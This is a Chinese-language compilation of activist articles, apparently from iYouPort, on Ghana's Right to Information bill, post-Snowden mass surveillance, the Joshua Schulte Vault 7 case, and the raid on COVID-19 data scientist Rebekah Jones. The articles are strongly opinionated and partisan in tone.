活动人士和记者曾希望信息权法案可以帮助揭露更多的政治腐败。

2018年，加纳选举委员会主席因涉嫌为新办公大楼花费了约 795,000 美元而被下台。理论上新法律应该能让更多腐败官员面临后果，或至少是接受公众监督。

预计在未来五年内实施的 RTI 法律将耗资1.45亿美元，将要求各部委等公共机构在12个月内公布其活动详情，并任命信息RTI官员。

地区办事处和总部的工作人员将处理记者和公民的请求。公共机构被要求提供的信息本身是免费的，但加纳人必须自己支付复印费用或用以转储的闪存驱动器或光盘的费用。

该法案不允许访问有关预算、合同关系、财务信息和计划受益人的信息。

要获取信息，记者必须发送手写的访问信息请求，然后等待在14天内收到回复。（看起来比美国和英国更快。后者经常需要等到数月甚至数年）

一旦获得批准，记者将能够以书面或电子形式接收信息。

但是目前，记者在从政府获取信息方面面临许多障碍。随着RTI法案，记者希望法律能帮助他们战胜闭口不言的官员。

“作为一名记者，议会通过 RTI 法案对我来说是很好的第一步，但是，需要制定适当的措施和政策才能有效实施该法律，”加纳商业新闻负责人 Emmanuel Dogbevi 说。

“将信息权法的执行情况从司法部转移到新闻部并不是一个好的决定，因为该部是政府的喉舌。几乎无法信任与政府有关的机构能提供真实的信息”。

「图」

「图」

1. RTIRedFriday

二十年的延误

RTI 法案于1999年由加纳经济事务研究所首次起草，并经过三次选举都没有能通过。

议会在2003年、2005年和2007年再次审查了这项法案，但是，据活动人士称，由于政客们担心受到媒体的严格监督，该法律从未经过投票。

现任政府未能履行其在2017年1月就职100天内通过该法案的初步承诺，此后才通过了RTI法案。

去年11月，沮丧的记者、律师和其他利益相关者穿着红色衣服在阿克拉街头开启了游行示威；抗议活动在 Twitter 上以标签 #RTIRedFriday 呈现。

大约30名示威者举着标语牌，上面写着“现在就通过 RTI 法案！”、“真的什么都没有隐藏吗？ #PassTheRTIBillNow”。

抗议活动由三个组织领导：信息权媒体联盟、加纳信息权联盟、和占领加纳。

RTI 法案的通过也恰逢许多加纳人要求提高其国家与美国在军事方面之关系的透明度。

2018年3月，成千上万的加纳人"反对2000亿美元的交易"，这笔交易将为加纳军队提供设备和培训，并为美国和加纳的联合军演铺平道路。

加纳政府表示，该协议是美国与西非国家之间现有的双边和多边军事关系的延伸。

拖延 RTI 法案通过的一个重要原因可以归结为对草案中一系列漏洞的分歧。

第一版 RTI 法案阻止记者获取总统办公室、副总统和内阁所掌握的信息。

仅总统办公室就有200多名员工。

媒体活动家、民间社会团体、和智囊团都在使议会中的 RTI 委员会放松规则，这些规则将使获取信息变得更加困难。

他们还推动 RTI 委员会同意取消了获取信息支付费用的要求。

但是，漏洞仍然存在。

通过的法案表明，如果信息对个人、团体或金融机构或任何其他机构造成“不应有的损失”，则不能披露信息。极为模糊的措辞。

该法律还可以防止披露与政治家纳税申报相关的信息，并且，如果被

认为“损害所提及的任何其他个人的声誉”，则可以免除披露个人相关的信息。

很明显，该法律非常无用。

更令人担忧的是，该法案还将总统和副总统作为“私人”保护起来了，只允许政府部门内的其他办公室接受披露请求。

媒体组织指出，这些限制削弱了该法案为众所周知存在的秘密政府交易带来透明度的能力。

例如，前政府拒绝披露一项有争议的商业合资企业的细节，金额约为732,000美元，其中一家公交品牌营销公司被指控对纳税人资金管理不善。

政府最初拒绝公布有关该交易的信息，以避免暴露公职人员的秘密。加纳高等法院采取干预措施，命令政府披露其信息。

「图」

「图」

Branded Metro Mass bus

加纳的维基解密

在没有 RTI 法案的情况下，社交媒体在帮助公民责令官员承担责任方面发挥了重要作用。

Facebook 和 Twitter 已成为一种“加纳的维基解密”，让记者和公民分发和分析被泄露的政府机密文件。虽然，这一渠道非常不安全。

现在，记者们担心政府可以使用 RTI 法案来打击任何未经政府许可共享机密文件的人。

该法律规定，通过包括社交媒体在内的任何平台披露此类信息的个人将受到制裁。处罚可包括超过**40,000**美元的罚款，**1**至**3**年的监禁，或两者兼而有之。

加纳新闻部长最近暗示，政府关注的只是新闻机构和记者如何使用舆论和社交媒体。

这位部长指出："在一个虚假新闻兴盛的时代，社交媒体不应该成为对 RTI 法律的威胁。相反，它应该被用来纠正信息"。

Dogbevi 说："我在社交媒体上因为想要让政治家负起责任而受到攻击。"

政府还认为，任何有关国家安全的信息，如国家武装部队的准备情况、或涉嫌恐怖袭击的个人信息……等等，都可能危及加纳的"稳定"—— 以维稳大局为由抵制透明度革命。事实上是为稳固执政党的权力。

2016年4月，社交媒体上泄露的安全备忘录显示政府原本知道恐怖袭击即将发生却未采取措施。

尽管存在一堆漏洞，记者和活动家仍然希望该法律能够迅速实施。

该法案第13条规定，当信息请求有可能破坏政府机构工作的情况下，信息免于被披露。

"对该条款的修订仍然不足以解决其负面影响"，Finder Newspaper 的编辑 Elvis Darko 说。

"目前的第13条草案会严重（如果不是完全的话）削弱信息权利。我们提出了弥补缺陷的建议：议会提出第13（1）（c）条明确规定在审议程序结束后此类信息不再豁免。如果没有这一明确规定，第13条可以很容易地被解释为使审议过程持续进行。"

非洲采用信息权立法的国家数量正稳步增加。

2011年，非洲大陆只有五个国家通过了 RTI 法案，但截至2017年，约有22个非洲国家采用了类似的法律，马拉维是最新通过该法律的国家。

加纳每年因腐败损失约279.3亿美元。许多损失可以追溯到欺诈性的政府采购流程和盗窃行为。

2018年，加纳遭遇了一系列腐败丑闻，其中包括1.79亿美元的通信部交易，引发了争议。

现有的 RTI 法案将强制要求合同的透明度，并证明招标公司的专业知识。

“总统现在需要同意RTI法律并签署实施，”Darko 说。

“我们要求草案中包括建立执行该法律的时间表，但是议会拒绝了该意见书。如果有明确的时间表，将可以加速在2020年1月之前实施。”〇

The Fight for Transparency in Ghana

原文

6年，改变了什么？ - iYouPort

互联网自由-Resist透明度革命

解铃还须系铃人

这篇文章是一本新书的节选。也是比此前发布的同类文章更为痛苦的反思：它将矛头指向了我们所有人。

去年的这个时候 IYP 发布过一篇纪念文章《Snowden 启示五周年：我们离自由还有多远？》。现在是第六年 —— 斯诺登揭露的惊人的全球性间谍活动，到今天为止没有任何一项被停止了。

「图」

「图」

“占领华尔街”（Occupy Wall Street）那段时间的照片已经开始困扰我了。这张被用作杂志封面的照片，乍一看似乎捕获了一个犀利的起义画面。

大批的抗议者拥挤在高大的围栏旁，被一群可怕的防暴警察阻挡，警方在捍卫空荡荡的 Duarte 广场，这是曼哈顿市中心一片单调的混凝土建筑。

然而，仔细观察，你会发现，一个不同的场景成为焦点：只有少数几个抗议者实际上正在推动围栏。

而其他人紧紧地挤在一起，高举着手机，互相录制对方和场景的视频，也许是准备分享给朋友和家人。

Duarte 广场的围栏在2011年的12月日的抗议高峰时段几乎没有任何破坏。

「图」

「图」

这张照片抓住了近乎膝跳反射的倾向 —— 许多参与大规模抗议活动的人都在社交媒体上讲述每一个动作，并认为这本身就是“大胆的和激进的”；将抗议的叙述置于我们自己的手中，我们自己的广播设备，拒绝依赖传统媒体机构。

无论你在哪里讨论社交媒体平台是否有助于、或阻碍了、或以其他方式塑造了抗议运动（或上述所有方面），都应该认识到，在斯诺登揭露之后的几年里，这些被上传网络的抗议现场照片已经呈现出完全不同的效应。

对于上面那张照片中的一众手机来说，已经不仅是 **Duarte** 广场群体努力的障碍了；并且更重要的是，它们是监视设备。

这一点最迟在2014年已经变得无可否认：我们依赖的设备和平台 —— 沟通、收集信息和建立团结的基本工具 —— 已经变成了掐住我们所有人的黑手，使我们不得不接受持续不间断的监控。

如果没有易于追踪所有公民的方法，监视国家就无法维持。

人们避免深度谈论这件事，避免承认自己对自己的*可监控性*之参与有多么的深刻 —— 不论是智能手机还是智能家居，都是人们兴高采烈地买回来的，而不是被谁强迫安置的 —— 这就是我们的生活方式。

「图」

「图」

几年前，我们对于了解被揭露的大规模监视状态的程度感到震惊，这似乎是古怪的（虽然视其为古怪并不是一件好事，要知道这个集中化的互联网本身就建立在大规模监视的欲求之上）。

但美国国家安全局的泄密事件在当时无疑是一个重要的启示 —— 它揭示了政府、通信和科技巨头之间可怕的联系；并且提出了一个警告，在我们所有人同谋的控制系统中所面临的挑战。

在这里看到对斯诺登文件的最完整汇总《互联网霸主的时间线——他们将互联网视为间谍、破坏和战争的主场》。

在对斯诺登泄密事件即时的愤怒反应中，有一种愚蠢的、但也是一种值得称赞的乐观态度。记者和活动家们在拼命想要抓住一个东西，一个反派。

究竟谁应该受到谴责？坏人在哪儿？我们如何反击？

有明显的罪魁祸首需要谴责：无论是时任国家情报总监的詹姆斯克拉珀、当时的国家安全局局长基思亚历山大、谷歌、AT＆T、微软、还是整个PRISM数据收集和监视计划……所有人都想要指责那种可以被孤立定位的人和事。

政治家和活动家的努力集中在自上而下的国家安全局改革和对科技巨头的透明化要求上。因此，他们错过了所涉危险的细微差别和严重性。

这是两党哑剧的重要时刻。民主党人和共和党议员齐聚一堂，表达了对美国国家安全局大量收集美国人通信数据的要求。

在2015年6月签署成为法律的具有荒谬名称的“美国自由法案”中，主要是在这一点上获得了吸引力。

它对美国通信的大量数据收集提出了一些限制，但是，它也恢复了乔治·W·布什**2001**年签署的臭名昭著的“爱国者法案”中一些最糟糕的规定。

奥巴马政府组建了咨询委员会，他们正式发布了冗长的报告，并承诺将会有更多的评论。也许最糟糕的是，作为“好人”之地位的争夺战，包括谷歌和 **Facebook** 在内的技术巨头们公开宣称要提高所谓的透明度。

在 Facebook 不透明的政策和产品帮助诸如剑桥分析公司这类的机构操弄选举被曝光之后，所谓的透明度现在看起来很可笑；尽管如此，每周你仍然会从硅谷大型集中化“云”的神秘堡垒中听到所谓“透明度”的新承诺。

（顺便说，剑桥分析公司远非独一无二，还有一大群同类公司与其做着一模一样的事，在这里看到揭露报告《心理操纵的秘密：”行为经济学”＋PR＝？》《秘密宣传战网络》）

> 斯诺登揭露的所有恐怖间谍行为没有任何一个真的被停止了。六年。

对国家监视的大胆抵制和立法改革的斗争很少。

政府机构仍在使用像 PRISM（棱镜）这样的计划，该计划于2007年启动，允许国家安全局大量收集和存储数据，与几乎所有主要科技公

司合作，包括在没有授权的情况下访问所有人的私人通信。

在斯诺登揭露的所有恐怖中没有任何一个真的被停止了。

通过仅仅专注于清晰可辨认的权力人物，激进组织和愤怒的政治参与者在很大程度上回避了有关受监视的主体如何“维护”他们的被监视之地位的问题。

很多关于政府监视的讨论是反事实的：如果我们知道自己作为数字居民注册了什么，我们是否*同意*我们目前遭受的大规模监视水平？

2014年，詹姆斯克拉珀承认国家安全局应该更公开地向公众宣布无处不在的监视一直在囤积他们的私密通信。

但他调转了语风，称：“如果该计划（棱镜）在9/11袭击事件发生后立即公开引入，大多数美国人可能都会支持它，”他说。

克拉珀忍不住诉诸于一种不正常的条件逻辑，在这种逻辑中公众会“同意”他们实际上不能同意的事。

正如斯诺登的法律顾问、美国公民自由联盟隐私和技术项目主任 Ben Wizner 在回应克拉珀的言论时所评论的那样，“我们当时是否会同意这一点将永远不会被人知道。” 我们还没有同意接受这种不间断的监视，即使我们的生活方式已经产生了它。

「图」

「图」

自2014年以来，通过技术资本主义进行监视的对话已经从违宪的政府间谍计划转移到了关于技术巨头如何以及企业和政治目的如何提取和使用我们的数据的问题。

或者更确切地说，这些巨头公司如何使用（和加工）我们的数据 —— 毕竟数据不是我们的。

这种话语转变是有道理的；如果主要关注国家安全局，会错误地将当代监视视为一个不受欢迎的、压迫性的政府审查问题。

它远远不是。

毫无疑问，政府审查是一个问题 —— 任何被秘密放入禁飞名单上的

人都会证明这一点。

但是，斯诺登透露的政府计划是在大规模监视已成为社会参与基准的基础上进行的：通过几乎所有可跟踪的互动，这些互动都是我们自己提供的，由少数极其强大的公司运作。

我们真正“想要”和“接受”这些条件的程度并没有实际意义。虽然我们毫无疑问是维护监视状态的*积极参与者*，但是，称我们因此“同意”，则是夸大了我们对此事的选择能力。

就算作为经济必需品，也并非每个人都需要依赖于具有监控功能的设备和接口（尽管许多工作者依赖如 Uber 和 TaskRabbit 这样的东西）。

然而，对于那些遵守现在的社会和经济精神的人来说，*参与*监控系统是不可避免的，因为这些硅谷拥有的网络和接口已成为社会、私人和商业—— 甚至政治和革命 —— 的主要舞台。

Paul Virilio 是技术世界最有先见之明的思想家之一，他谈到了每项技术从发明的那一刻起是如何发生事故的（意外事故）—— 它将一种事故、一种灾难的规模引入了以前不存在的世界。

正如他所说，“当你发明这艘船时，你也发明了沉船；当你发明飞机时，你也发明了坠机；当你发明电力时，你会发明触电……每项技术都有自己的消极性，这与技术进步同时被发明出来”。

正如 Virilio 所看到的那样，包含自身意外事故的技术“非常明显，不得不重复这一点，这表明我们在多大程度上被关于进步的宣传所疏远。”

Virilio 的框架拒绝非黑即白 —— 我们不一定必须认为我们当前和正在开发的技术是“好”还是“坏”。相反，它需要一个恒定的道德计算：我们必须要求技术可能性包含它的潜在事故以及它们是否可以容忍。

这点并非总能非常清楚地知道；但总是可以提问的。而且要求提问早一点而不是晚一点。

正如 Virilio 在1995年所指出的那样，高速列车成为可能，因为旧的铁路技术产生了一种新的交通控制形式，使列车能够越来越快，而不会有灾难性的碰撞风险。事故已经考虑过了。

但是，“当今的信息技术没有交通控制系统，”他当时写道，最近又补

充说：“我们仍然不知道虚拟事故是什么样的。”

然而，他知道，这次事故将是“不可分割的全球性的”；这就是在线网络与日常生活融为一体的全部，所有这一切都在瞬间被加速。

“我们受到压迫，互相压迫 / 我们将立刻被告知 / 发生的任何事” —— 诗人 George Oppen 在他1968年的伟大作品 Of Being Numerous 中就预见到了今天。

「图」

「图」

人们与监控状态的设备的接触比他们使用的技术工具更深入 —— 实际上这些不仅仅是工具而是设备。

对于哲学家 Giorgio Agamben 来说，这些装置不仅仅是一种技术装置，而是“在某种程度上具有捕获、定向、确定、拦截、建模、控制或保护手势、行为、观点、或话语之能力的东西”。他写到了他对手机的“不可饶恕的仇恨”，他想要摧毁所有手机并惩罚它们的用户。

但是，后来他指出，这不是正确的解决方案。

“设备”不可能简单地被隔离，因为设备由使用它们的主体所塑造；破坏设备将需要在某些方面破坏创建它们和被其创建的主体。

无可否认，使我们成为可监控目标的设备也是我们通过社交媒体和可追踪的在线交流创建的自我和关键的社区。

想要粉碎所有手机、笔记本电脑等GPS设备的大规模 Luddite 运动将忽略这样一个事实，即：我们数百万人选择的并不是偶然的“历史事故”，而是生活方式，虽然是在多种因素影响下的选择。

“加利福尼亚的意识形态”（在20世纪90年代早期由少数富有的白人男性创造出来的）这一梦想，将互联网描述为权力下放的民主化力量 —— 始终是神话思维的呓语，它未能考虑到互联网就诞生于资本主义体系和残酷的社会等级制度之内，而不是超越它。

公众对信息的访问的确范围很广，但是，与此同时，信息网络上的权力整合却令人震惊。正如作家和神经科学家 Aaron Bornstein 指出的那样：

每年都有更多的数据产生 出来—并且，与更廉价的存储和收集文化一起保存 —— 超越互联网出现之前的所有人类历史。而事实上，人类的记录比以往任何时候都要少，因为每个人都被迫将这些记录交给了国家。

在 2009 年，当时谷歌的CEO埃里克施密特说："如果你有什么东西不想让任何人知道，也许你一开始就不该这样做"，他这句话足够说明硅谷的特权。它巩固了不受约束的全方位监控系统。

在这种危险的谷歌道德规定下，并非每个人都有机会将其生活、个人记录、偏好和历史的详细信息提供给公众消费而不会产生任何后果的。一位高薪的硅谷工程师可以随意抛出他对火人节的偏见；但无证移民、性工作者和被监禁的个人 —— 仅举几个边缘化社区的案例 —— 并不一定具有这种特权。

除此之外，对大规模监视的抵制不仅是我们可能或不可能隐藏的问题，而是，我们的生活如何被组织和易受社会的控制、我们如何像福柯所说的那样成为了"温顺的身体"。

在大多数情况下，对监视的抵制是以隐私为框架的 —— 无论是坚持让科技公司和国家推行更好的隐私政策、还是鼓励个人更好的隐私做法；或者通过混淆保护：加密服务、洋葱路由 ……但充其量只是改革派的和被动的选择。

政府执行的间谍行为和全方面控制是长期持续的；而在由非政府行为者执行的网络中的干扰如黑客和破坏，往往都是短暂的。这就是权力的不对称。

我们目前虚弱的集体抵抗足够说明监控技术已经在多大程度上被深度嵌入并塑造了日常生活的结构。

为了参与社交媒体的小利益、快乐、必需品和不可避免的能力，从维特根斯坦使用的术语来看，监视是一种"生活形式"：可监视性是使这些"愉快的交互和体验"成为可能的背景。

监视不是社交媒体生活的附带现象 —— 它是它的基石。在晚期资本主义之下。

这就是曾经 Oppen 所预料到的。半个世纪以前，虽然他没有暗示通过社交媒体进行全面监控的未来，但是，他谈到了我们当前条件下的相互关系。

我们参与社会秩序、我们避免了自己仍然痴迷的单一自我，但我们还没有（至少现在没有）选择集体或团结。

相反，我们选择了一大堆东西：作为在线自我；也因此把自己变成了监视数据点。

我们依靠并通过数字生活：点赞、点击、互粉。然而，Oppen 写道，至关重要的是，我们所选择的是众多的“意义” —— 希望一起选择不同的“意义”。

通过沉迷于数字饲养的生活，数百万人已经选择了以前所未有的方式成为“大众”。

参与社交媒体会产生并要求复杂的关系、联系、真理和幻想；它有时会被革命主题所推动，反过来又产生了革命性的主题。

例如，毫无疑问的，Twitter 揭示了2009年的伊朗革命，2010年的突尼斯革命、2011年的埃及革命的新亮点。社交媒体既是创造这些起义可能性条件的产物，也是其中的一个因素。

推文塑造了他们的叙述，因为推文就是他们的叙述。在过去的七年左右，我参加的大多数街头抗议活动都是通过社交媒体进行组织的。

但这并不意味着我们可以谈论“推特革命”。作为社会运动工具的 Hashtags 具有深刻的局限性，但所有其他策略也都是如此。

社交媒体在革命斗争和抗议中的有用性，使我们是否能够容忍“事故”的问题进一步复杂化了 —— 即 监视。更不用说这些平台提供平等机会的“意外”，法西斯主义者也可以在特定地区之外成为“众多人”。

我们是否可以容忍我们的数字习惯和依赖中必然包含对我们而言的事故？这对控制数字基础设施的人来说是理想的结果吗？

在2000年的采访中，Virilio 说，“抵抗永远是可能的”，并首先要求发展“民主的技术文化”。

正如他所说：“技术科学智能目前在整个社会中传播不足，以至于我们难以解释今天正在形成的各种技术科学进步。”

他是对的，但答案并不是要所有人都去学习如何编码和hack（尽管学了肯定不会有害）。现在的问题是，我们的社交媒体生活基础设施的技术科学力量比企业和政府对城市街道基础设施的控制更加顽固和等

级化。

很难看出摆脱困境的方法。但这并不是说潜在的抵抗者不会尝试。

例如，文化评论家本·塔诺夫（Ben Tarnoff）提出了在民主民族主义模板下将我们的数据社会化的想法，作为将权力从技术巨头手中下放给数字工地居民的途径。

正如他在 Logic 杂志中解释的那样：

无需将数据中心国有化以将数据国有化。公司可以继续在民主决定的规则下提取和改进数据 —— 但是，关键区别在于，他们是在代表我们这样做，为了我们的利益…… 为了获得提取和完善我们的数据的许可，公司将被要求将其一定比例的数据收入支付交给主权财富基金，无论是现金还是股票。

数据应该是私有的 —— 如果我们能够真正民主地确定管理公司如何提取数据的规则以及为什么提取 —— 社交媒体网站将看起来非常不同。

只要大数据仍然没有民主化，我们就无法谈论“民主化的技术文化”，单靠监管不会让我们实现民主化。

Tarnoff 强调了民主化数据重组所面临的困难和风险：“透明度、协调性、自动化 —— 如果这些都具有民主可能性，那么它们也具有专制的可能性。”这样的想法本身就是考虑了可能的技术未来的道德规范及其所包含的事故。

「图」

「图」

注：这篇文章摘录自“Being Numerous Essays on Non-Fascist Life”，4月30日出版。（上图）您可以在这里下载：https://t.me/iyouport/6714

这篇文章可以被视为《监视谷》的逆转角度陈述。

《监视谷》从这个集中化的互联网的起源开始论述，立足于“我们所有人都被技术的神话所蒙骗了，这个互联网的性质并非人们最初所理想的那样”。

而这本书更接地气、也更伤心，它立足于斯诺登启示六周年后一切都没能改变的残酷事实，指出：今天的状况是我们所有人的共谋——最初也许是一无所知的，但当知道了一切之后仍没有改观，不仅是一直以来的抵抗方式出现了错误，并且，是因为回避了我们自己与这个互联网的关系。〇

原文

CIA前雇员被怀疑泄密，唯一“证据”是他使用了Tor浏览器 - iYouPort

透明度革命

“能将 Joshua Schulte 和 Wikileaks 的 Vault 7 发行联系起来的唯一证据是他使用了 Tor 浏览器”

「图」

「图」

当权者阻止不了 *Tor,* 就想被它变成舆论武器吗？ 此案将引发多方面副作用，不仅包括会对体制内异议产生寒蝉效应，还包括那些使用 *Tor* 作为安全措施逃避审查监控的记者和异议人士。

CIA 前雇员 Schulte 是政治异议，Vault 7 的第一批文件在去年3月发布后一周，当局就突袭了 Schulte 的曼哈顿公寓。

Vault 7 一直都是美国情报界的痛处，主要是因为它是“美国中央情报局（CIA）文件有史以来最大的泄漏”，这些文件详细揭示了美国中央情报局的全球性秘密黑客程序以及网络攻击工具和漏洞。

正如 MintPress 当时所报道的，Vault 7 所揭示的该机构能力之一就是 CIA 能够将外国政府的“指纹”留在美国中央情报局本身控制的黑客手中。这种能力的暴露使人们立即对俄罗斯政府入侵 2016 年美国总统选举的证据产生了怀疑。

此外，该泄密事件代表了 CIA 无与伦比的尴尬局面，特别是在 NSA 举报人 Edward Snowden 泄密后以及政府为防止重复发生泄密而采取了诸多措施之后。该案的敏感性就是为什么 Schulte 被捕，尽管缺乏证据。

事实上，在他第一次被捕后一年多的时间里，Schulte 仍然没有被控告与 Vault 7 泄漏有关，尽管调查人员可以访问 CIA 的电子审计记录，这些记录可能表明谁盗取了这些文件以及 Schulte 的个人资料，

但是到目前为止，能将 Schulte 与 Vault 7 发行关联在一起的唯一“证据”是：他在某些时候使用过加密的 Tor 浏览器，并且在 WikiLeaks 发布之前的几年，他通过适当渠道投诉了 CIA 的安全漏洞。

Schulte 因违反法官的规定，目前被拘留，原因是被指涉嫌“拥有儿童色情资料”，当局对他提出了无关的指控。该指控声称，2009年 Schulte 在文件共享服务器上存储了10,000个非法图像。然而，除了 Schulte 之外，还有多达 100 人可以访问该服务器。

还有证据表明 Schulte 不太可能向 Wikileaks 泄露 CIA 信息。例如，当局与 Schulte 有关联的Twitter 账号呼吁在 2010 年杀害 Wikileaks 的信息来源 Chelsea Manning。“她应该被处决”，Schulte 说。

Schulte 还在另一个单独的场合发布了一则消息，呼吁将 Wikileaks 总编 Julian Assange 的出版工作指控为“间谍活动”。鉴于这些评论，Schulte 选择成为维基解密的信息来源似乎不太可能。（显然此人是个糊涂蛋）

在 Vault 7 本身的发布中提到了 Schulte 可能确实是无辜的另一个可能原因。在第一次发布 Vault 7 后，Wikileaks 指出，中央情报局“失去了对黑客工具和漏洞的控制”，导致它“以未经授权的方式在美国前政府黑客和承包商中流传，其中一人向 WikiLeaks 提供了档案的一部分。“

因此，Wikileaks 获得的资料可能来自多个不同渠道，不一定是 Schulte 。然而，如前所述， Schulte 被挑出来是因为他之前试图向上级提出他对该机构安全漏洞的担忧。

低端构陷的手段

虽然 Vault 7 的指控尚未出现，但似乎他可能会因与儿童色情这种无关的指控而入狱。但是，这些指控实际上是相关的。

据称在该服务器上发现的儿童色情图片可能早就已经在那里了，特别是考虑到有多达一百人访问该服务器的事实。在计算机上“植入”儿童色情物品以损害个人声誉，然后以此为借口抓捕，基本是潜规则。这叫钓鱼执法，比如用儿童色情恶意软件诱导目标，之后又发现了其他真正的罪犯。

据称，这些手段已被政府用来遏制异议人士。例如，美国媒体广泛报道说俄罗斯政府在持不同政见者的电脑上植入儿童色情作品，以诋毁

他们，并使他们受到监禁和警方的调查。鉴于 FBI 过去曾经诬陷过嫌犯，而且已经从政府服务器运行儿童色情网站作为过去调查的一部分，美国政府也可能在政治上有利的情况下使用这种构陷做法。

在 Schulte 的案例中，政府在他的电脑上植入儿童色情的可能性还有另外一个事实，那就是：在政府检察官没有将足够的证据集中在一起足以控告 Schulte 因涉嫌将 Vault 7 内容泄露给 WikiLeak 而被间谍罪的数月之后，联邦政府才发现这些图像。事实上，Schulte 的公寓和电子设备在去年3月被突击搜查，直到去年8月，五个月后，他才被起诉“拥有儿童色情制品”。

事实上，中央情报局正在试图修补 Vault 7 的发布所造成的损失，他们一直渴望着指责泄密者。正如国际计算机科学研究所研究员 Nicholas Weaver 周二告诉纽约时报的那样，Vault 7 的“真正意义”在于泄漏发生在 Edward Snowden 泄露国家安全局的机密文件，引发情报机构紧缩的安全措施落实之后（准确说就是恼羞成怒）。Weaver 指出，如果泄密者已被确认，“将非常令人放心”——这表明政府，特别是中央情报局可能更有兴趣监管某人并责怪泄漏事件，而不一定是抓到真正的泄密者。

此案出现了一个非常令人不安的负效应

然而，Schulte 案产生的最令人不安的效应是，它可能为未来的举报人树立一个糟糕的先例，特别是那些试图揭露政府不当行为或通过适当渠道揭发的举报人。

把 Schulte 与 Vault 7 绑在一起的唯一证据就是（即使是在他的公寓和他的电子设备遭到袭击之后）：他以前曾经通过所有适当的渠道向国会抱怨中央情报局的安全漏洞 —— 他的上级、该机构的检察长、最后是众议院情报委员会。

这是一个非常危险的先例 —— 任何政府工作人员或承包商都可能发现自己被指控泄露或间谍活动，仅仅是因为他们以前曾试图令合法问题引起上级的注意。此案提供给政府工作人员或承包商的信息似乎是，他们应该保持沉默，除非他们想成为未来被调查的潜在目标。

Price of Coming Forward: Joshua Schulte’s Past Whistleblowing Comes Back to Haunt Him

The only evidence linking Joshua Schulte to the Wikileaks Vault 7 release is his use of an encrypted Tor browser and that he blew the

whistle about CIA security vulnerabilities through the proper channels years before.

by Whitney Webb, a staff writer for MintPress News and a contributor to Ben Swann's Truth in Media. Her work has appeared on Global Research, the Ron Paul Institute and 21st Century Wire, among others. She has also made radio and TV appearances on RT and Sputnik. She currently lives with her family in southern Chile.

原文

COVID-19吹哨人的家遭遇武装突袭的惊人案例说明了什么 - iyouport

COVID-19(84)透明度革命

【2021年3月23日存档】当年他们就是用这个愚蠢的口袋罪逼死了亚伦。

这是去年底大选后最震惊的事件之一，对真相的镇压明显升级的标志。

佛罗里达州警察举着机关枪闯入了 Jones 的家，目标是她和她的家人。这些武装警察没收了她的手机、电脑和多个硬盘，这是为阻止她继续发布 **COVID-19** 爆发的确切数据。

突袭事件后，Jones 在推特上写道："他们用枪指着我的脸， 他们用枪指着我的孩子 … 这是[州长] Ron DeSantis 派来的人。他派来了盖世太保。"

Jones 说她已经了解到，法官约书亚·霍克斯（Joshua Hawkes）是佛罗里达州共和党州长罗恩·德桑蒂斯（Ron DeSantis）在9月份任命的，他作为法官的第一件事就是签署了导致 Jones 的所有电子技术被查封的搜查令。

德桑蒂斯是时任美国总统唐纳德·特朗普最著名的支持者之一，他率先通过开放完全不必要的企业和学校来推行统治阶级的 "群免" 政策。

【注：随着新冠病毒大流行的继续恶化，一些国家的政府已经开始讨论如何使用"群体免疫"（herd immunity）来阻止病毒的进一步传播。英国和澳大利亚的一些科学家将其描述为一场危险的闹剧。科学家们指出，目前还不知道感染了 COVID-19 而幸存下来的人是否随之产生免疫力。如果允许 COVID-19 传播，那么照顾脆弱群体的年轻人将会更少。】

Jones 告诉美国有线电视新闻网，警方查获的U盘里有证据表明，佛罗里达州官员 "**1**月份在内部报告和疾控中心的通知等事情上说谎"，

以及 “州政府非法活动的证据”。

公民权利组织指出必须反对这种公然压制言论自由和获取信息权利的行为。支持真相的所有人都应该站出来为 Jones 和所有吹哨人辩护，为 COVID-19 的所有数据和报告的完全透明而斗争。

作为佛罗里达州卫生部的前雇员，Rebekah Jones 是美国最著名的数据科学家之一。利用先进的地理信息系统(GIS)技术，Jones 帮助创建了佛罗里达州的 COVID-19 仪表盘，仔细追踪疫情在该州的传播情况。

此后不久，她在5月被卫生部解雇，因为她拒绝操纵数据来支持州长德桑蒂斯推动的不断升级的返工和返校运动。

在被解雇后，Jones 继续帮助创建和监督佛罗里达 COVID 行动和病毒传播监测，这两个数据库是最全面的，分别用于跟踪佛罗里达州和全美 K-12 学校的 COVID-19 感染和死亡情况。

Jones 由于她在这些项目中的作用，以及对德桑蒂斯和特朗普政府的直言不讳的批评，而成为被镇压目标。她一直警告说，在疫情肆虐的情况下，不要轻率地重新开放学校。

导致警方武装突袭的具体指控是，Jones 向佛罗里达州卫生部员工群发了一条消息，恳求他们 “在下一批1.7万人死亡之前说出真相”，Jones 否认曾发送过这一消息。她说，这些官员查封她的设备是为了确定她在卫生部内有哪些联系人，而这些联系人又很可能在不久的将来成为受害者。

对 Jones 家的突袭旨在促进杀人政策，完全不顾流行病的失控，也要保持学校和非必要的企业开放。它的目的是恐吓那些对工人和年轻人面临的危险提出警告的批评者和直言不讳的科学家。

Jones 和《COVID监测》的两位同事12月2日在《US NEWS》上发表了一篇文章，题为 “学校应该继续开放吗？不应该这么快”。他们指出，已经有超过100万名儿童感染了 COVID-19，并总结道：“我们的调查数据表明，学校并不是一些人所认为的安全避难所或孤岛，事实上，学校以多种方式助长了 COVID-19 的传播 …… 我们认为，数据表明，学校并不安全，而且确实助长了病毒的传播 —— 无论是在学校内部还是在周围社区”。

COVID 监测文件显示，全美 K-12 学校至少有 187 351 名学生和 80

689 名教育工作者被感染。佛罗里达 “COVID 行动” 报告，佛罗里达州共有 1,178,703 个病例，19,716 人死亡，其中 101,264 个儿童感染病例，9名儿童死亡。

警方武装突袭的当天，美国最大的学区 —— 纽约市的学校重新开学。这场不计后果的重新开学活动由企业媒体不遗余力地推动，并由民主党市长比尔·德布拉西奥（Bill de Blasio）和教师联合会（UFT）主席迈克尔·马尔格鲁 (Michael Mulgrew) 带头，体现了两党和工会支持的返校运动的特点。

与特朗普政府牵头的全美范围内的重开学校运动一样，纽约市的开学运动并非基于科学，而是基于金融寡头的利润利益。

开学是统治阶级战略的核心。为了迫使父母回到不安全的工作场所。民主党作为华尔街和金融资本的党派，在重新开放学校方面与共和党人具有同样的利益驱动力。

当时的当选总统乔·拜登没有对此发表任何声明，没有捍卫 Rebekah Jones 和获取有关流行病传播的数据的权利。相反，在次日的一次演讲中，拜登表示：“让我们的孩子回到学校并让他们留在学校，应该是国家的优先事项。”他补充说，他 “将努力看到我们的大多数学校都可以在我的第一个100天任期结束时开放。”

去年底，美国大约一半的K-12学生在只提供在线学习的学校就读，32.5%的学生在完全面对面学习的学校就读，近17%的学生在混合学校就读。如果拜登成功实现他的目标，到4月底，还有数千万学生将回到不安全的教室，远在民众完全接种疫苗之前。

